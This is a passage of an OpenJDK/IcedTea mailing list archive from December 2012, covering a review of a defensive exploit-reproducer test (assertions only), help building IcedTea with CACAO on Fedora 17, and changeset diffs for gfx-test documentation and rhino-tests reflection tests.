Assert.assertTrue(pr.wasTerminated); > + } > + > + private void evaluate(ProcessResult pr) { > + Assert.assertTrue("Output of reproducerwas empty => it was > not run", (pr.stdout.length() > 0)); > + Assert.assertTrue("Output of reproducerwas have not > contained 'Running GondvvTest' => it was not run", > (pr.stdout.contains("Running GondvvTest"))); > + Assert.assertFalse("Output of reproducer contained FAIL, that > means that exploit have hacked your system", > (pr.stdout.contains("FAIL:"))); > + > + } > +} Looks OK, although this seems like something that is better placed in a JRE's test suite, not ITWs. I have no problems with it going in the repo, though. Happy hacking, -Adam From stefan at complang.tuwien.ac.at Fri Dec 14 23:53:50 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 08:53:50 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: On Fri, Dec 14, 2012 at 7:33 PM, Greg Johnson wrote: > Thanks, Stephan. Here is what I attempted: > > # cd /opt > # hg clone https://bitbucket.org/Ringdingcoder/icedtea7 > # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ > That was my best guess at how to maintain the icedtea7 files as the most > recent. > Did I make a mistake here? Am I supposed to use Mercurial to merge the > current icedtea7 with the customized copy? How? Yes ;). The merge step works like this: $ hg clone http://icedtea.classpath.org/hg/icedtea7 $ cd icedtea7 $ hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 $ hg merge tip $ hg ci -m merge $ ./autogen.sh > Then I noticed that inside icedtea7 there is no "configure" script. That's what the autogen.sh invocation is for. > To attempt that, I downloaded and unpacked this file: > http://icedtea.wildebeest.org/download/source/icedtea-2.3.3.tar.gz > Then I attempted a merge by doing this: > # yes | cp -r icedtea7/* icedtea-2.3.3 To be honest, I tend to almost forget that there are actual icedtea releases with release tarballs. To me, this seems like an archaic concept. In my experience, you're almost always better off by just using whatever is current at any point in time. But if you want a release build, I'll push a version suitable for that later today. > Then I attempted to compile inside the icedtea-2.3.3 directory: > > # cd icedtea-2.3.3 > # ./configure --enable-cacao --disabled-bootstrap > --withcacao-src-dir=/opt/cacao Let's say, this i s a typo -- it should be --with-cacao-src-dir. From stefan at complang.tuwien.ac.at Sat Dec 15 08:59:36 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 17:59:36 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > $ hg clone http://icedtea.classpath.org/hg/icedtea7 > $ cd icedtea7 > $ hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 > $ hg merge tip > $ hg ci -m merge > $ ./autogen.sh I've updated it for the release branch as well, so for that, replace the first three lines by: $ hg clone http://icedtea.classpath.org/hg/release/icedtea7-2.3 icedtea7 $ cd icedtea7 $ hg up -c icedtea-2.3.3 $ hg pull -r icedtea-2.3 https://bitbucket.org/Ringdingcoder/icedtea7 Cheers From stefan at complang.tuwien.ac.at Sat Dec 15 09:25:56 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 18:25:56 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> References: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> Message-ID: > What changes? Mostly these four changesets (in ): bd5d1773f671 88918467d5f2 7f94d0eeec79 c75577c02aa2 As a consequence of PR1120 I merged the openjdk7 branch in CACAO, and icedtea6 has already been upgraded to a more recent version. I had the intention to get my two changesets from https://bitbucket.org/Ringdingcoder/icedtea7 through, but this got stuck because of changelog discrepancies, and I have not gotten around to fixing that. > What should the status of CACAO on 7 be? Last I knew it was broken. It should work quite well as long as no JSR292 stuff is attempted. From stefan at complang.tuwien.ac.at Sat Dec 15 09:31:42 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Sat, 15 Dec 2012 18:31:42 +0100 Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: <492042789.6591839.1352301716265.JavaMail.root@redhat.com> References: <1204021510.6590692.1352301626060.JavaMail.root@redhat.com> <492042789.6591839.1352301716265.JavaMail.root@redhat.com> Message-ID: > Further to that, the one in the commit message is wrong as Stefan > didn't write this: > > 2009-10-01 Robert Schuster > > * configure.ac: Added --with-cacao-src-dir option. > * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. > * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. What do you want me to do exactly? Copy Robert's old changelog entry over? It doesn't really fit, as the identifier got later renamed to IT_WITH_CACAO_SRC_DIR after its original inclusion in icedtea6. From gregjo at yahoo.com Sat Dec 15 21:34:47 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Sat, 15 Dec 2012 21:34:47 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Thanks for all the help, Stefan. I continue to make progress. I have run the following: # cd /opt # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ # hg clone http://icedtea.classpath.org/hg/icedtea7 # cd icedtea7 # hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 # hg merge tip # hg ci -m merge # ./autogen.sh # ./configure --enable-cacao --disable-bootstrap --with-cacao-src-dir=/opt/cacao # make The compile begins, but soon fails with the following: make[6]: Entering directory `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac ?-J-XX:ThreadStackSize=768 -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions -J-XX:-LogVMOutput -J-client -J-Xmx1536m -J-Xms1536m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -encoding ascii -source 6 -target 6 -d /opt/icedtea7/openjdk.build/corba/btclasses \ ? ? -sourcepath ../../tools/src ../../tools/src/build/tools/stripproperties/StripProperties.java Error occurred during initialization of VM Could not reserve enough space for object heap Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. I believe this machine should have enough memory: # free -m ? ? ? ? ? ? ?total ? ? ? used ? ? ? free ? ? shared ? ?buffers ? ? cached Mem: ? ? ? ? ?4040 ? ? ? 1699 ? ? ? 2340 ? ? ? ? ?0 ? ? ? ?107 ? ? ? 1183 -/+ buffers/cache: ? ? ? ?409 ? ? ? 3630 Swap: ? ? ? ? 5599 ? ? ? ? ?0 ? ? ? 5599 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121215/ad7753a8/attachment.html From stefan at complang.tuwien.ac.at Mon Dec 17 00:16:59 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Mon, 17 Dec 2012 09:16:59 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: > The compile begins, but soon fails with the following: > make[6]: Entering directory > `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' > /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=768 > -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions -J-XX:-LogVMOutput > -J-client -J-Xmx1536m -J-Xms1536m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m > -encoding ascii -source 6 -target 6 -d > /opt/icedtea7/openjdk.build/corba/btclasses \ > -sourcepath ../../tools/src > ../../tools/src/build/tools/stripproperties/StripProperties.java > Error occurred during initialization of VM > Could not reserve enough space for object heap > Error: Could not create the Java Virtual Machine. > Error: A fatal exception has occurred. Program will exit. > > > I believe this machine should have enough memory: > # free -m > total used free shared buffers cached > Mem: 4040 1699 2340 0 107 1183 > -/+ buffers/cache: 409 3630 > Swap: 5599 0 5599 Hmm, no idea. Works for me... $ free -m total used free shared buffers cached Mem: 7986 7425 560 0 390 3504 -/+ buffers/cache: 3529 4456 Swap: 3796 0 3796 $ uname -a Linux dumpl 3.6.8-2.fc17.x86_64 #1 SMP Tue Nov 27 19:35:02 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux $ ./bootstrap/jdk1.6.0/bin/javac -version javac 1.7.0_09 $ ./bootstrap/jdk1.6.0/bin/java -version java version "1.7.0_09-icedtea" OpenJDK Runtime Environment (fedora-2.3.3.fc17.1-x86_64) OpenJDK 64-Bit Server VM (build 23.2-b09, mixed mode) From ptisnovs at icedtea.classpath.org Mon Dec 17 00:44:17 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 17 Dec 2012 08:44:17 +0000 Subject: /hg/gfx-test: Fixed documentation for following test suites: src... Message-ID: changeset 374fe54a78bf in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=374fe54a78bf author: Pavel Tisnovsky date: Mon Dec 17 09:47:21 2012 +0100 Fixed documentation for following test suites: src/org/gfxtest/testsuites/BitBltBasicTests.java, src/org/gfxtest/testsuites/BitBltCropImage.java, src/org/gfxtest/testsuites/BitBltMirrorImage.java, src/org/gfxtest/testsuites/PrintTestBitBlt.java, src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java, src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java. diffstat: ChangeLog | 10 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 269 ++++++------ src/org/gfxtest/testsuites/BitBltCropImage.java | 54 +- src/org/gfxtest/testsuites/BitBltMirrorImage.java | 68 +- src/org/gfxtest/testsuites/PrintTestBitBlt.java | 99 ++-- src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java | 20 +- src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java | 40 +- 7 files changed, 286 insertions(+), 274 deletions(-) diffs (truncated from 2521 to 500 lines): diff -r cb9c34f9d39a -r 374fe54a78bf ChangeLog --- a/ChangeLog Fri Dec 14 10:29:53 2012 +0100 +++ b/ChangeLog Mon Dec 17 09:47:21 2012 +0100 @@ -1,3 +1,13 @@ +2012-12-17 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + * src/org/gfxtest/testsuites/BitBltCropImage.java: + * src/org/gfxtest/testsuites/BitBltMirrorImage.java: + * src/org/gfxtest/testsuites/PrintTestBitBlt.java: + * src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java: + * src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java: + Fixed documentation for these test suites. + 2012-12-14 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: diff -r cb9c34f9d39a -r 374fe54a78bf src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Fri Dec 14 10:29:53 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Mon Dec 17 09:47:21 2012 +0100 @@ -77,11 +77,12 @@ @Zoom(1) public class BitBltBasicTests extends GfxTest { + /** * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -96,7 +97,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -111,7 +112,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -126,7 +127,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -141,7 +142,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -156,7 +157,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -171,7 +172,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -186,7 +187,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -201,7 +202,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -216,7 +217,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -231,7 +232,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -246,7 +247,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -261,7 +262,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -276,7 +277,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -291,7 +292,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -306,7 +307,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -321,7 +322,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -336,7 +337,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -351,7 +352,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -366,7 +367,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -381,7 +382,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -396,7 +397,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -411,7 +412,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -426,7 +427,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -441,7 +442,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -456,7 +457,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -471,7 +472,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -486,7 +487,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -501,7 +502,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -516,7 +517,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -531,7 +532,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -546,7 +547,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -561,7 +562,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -576,7 +577,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -591,7 +592,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -606,7 +607,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -621,7 +622,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -636,7 +637,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -651,7 +652,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -666,7 +667,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -681,7 +682,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -696,7 +697,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -711,7 +712,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -726,7 +727,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -741,7 +742,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -756,7 +757,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -771,7 +772,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -786,7 +787,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -802,7 +803,7 @@ * TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -817,7 +818,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -832,7 +833,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -847,7 +848,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -862,7 +863,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d From ptisnovs at icedtea.classpath.org Mon Dec 17 01:51:36 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 17 Dec 2012 09:51:36 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 6ca3cde5c86f in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=6ca3cde5c86f author: Pavel Tisnovsky date: Mon Dec 17 10:54:42 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptContextClassTest.java. diffstat: ChangeLog | 8 ++ src/org/RhinoTests/ScriptContextClassTest.java | 77 ++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 0 deletions(-) diffs (116 lines): diff -r 688976f71a2d -r 6ca3cde5c86f ChangeLog --- a/ChangeLog Fri Dec 14 10:58:28 2012 +0100 +++ b/ChangeLog Mon Dec 17 10:54:42 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-17 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptContextClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-14 Pavel Tisnovsky * src/org/RhinoTests/InvocableClassTest.java: diff -r 688976f71a2d -r 6ca3cde5c86f src/org/RhinoTests/ScriptContextClassTest.java --- a/src/org/RhinoTests/ScriptContextClassTest.java Fri Dec 14 10:58:28 2012 +0100 +++ b/src/org/RhinoTests/ScriptContextClassTest.java Mon Dec 17 10:54:42 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -359,6 +360,30 @@ } /** + * Test for method javax.script.ScriptContext.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ENGINE_SCOPE", + "GLOBAL_SCOPE", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptContextClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptContext.getClass().getMethods() */ protected void testGetMethods() { @@ -467,6 +492,58 @@ } /** + * Test for method javax.script.ScriptContext.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptContextClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptContext.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptContextClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptContext */ @SuppressWarnings("cast") From jvanek at redhat.com Mon Dec 17 06:39:44 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:39:44 +0100 Subject: Fwd: [rfc][icedtea-web] synchronised logger In-Reply-To: <50CA05DE.5040602@redhat.com> References: <50CA05DE.5040602@redhat.com> Message-ID: <50CF2EB0.7060503@redhat.com> Hi! For obvious reasons, The logger must be synchronised, 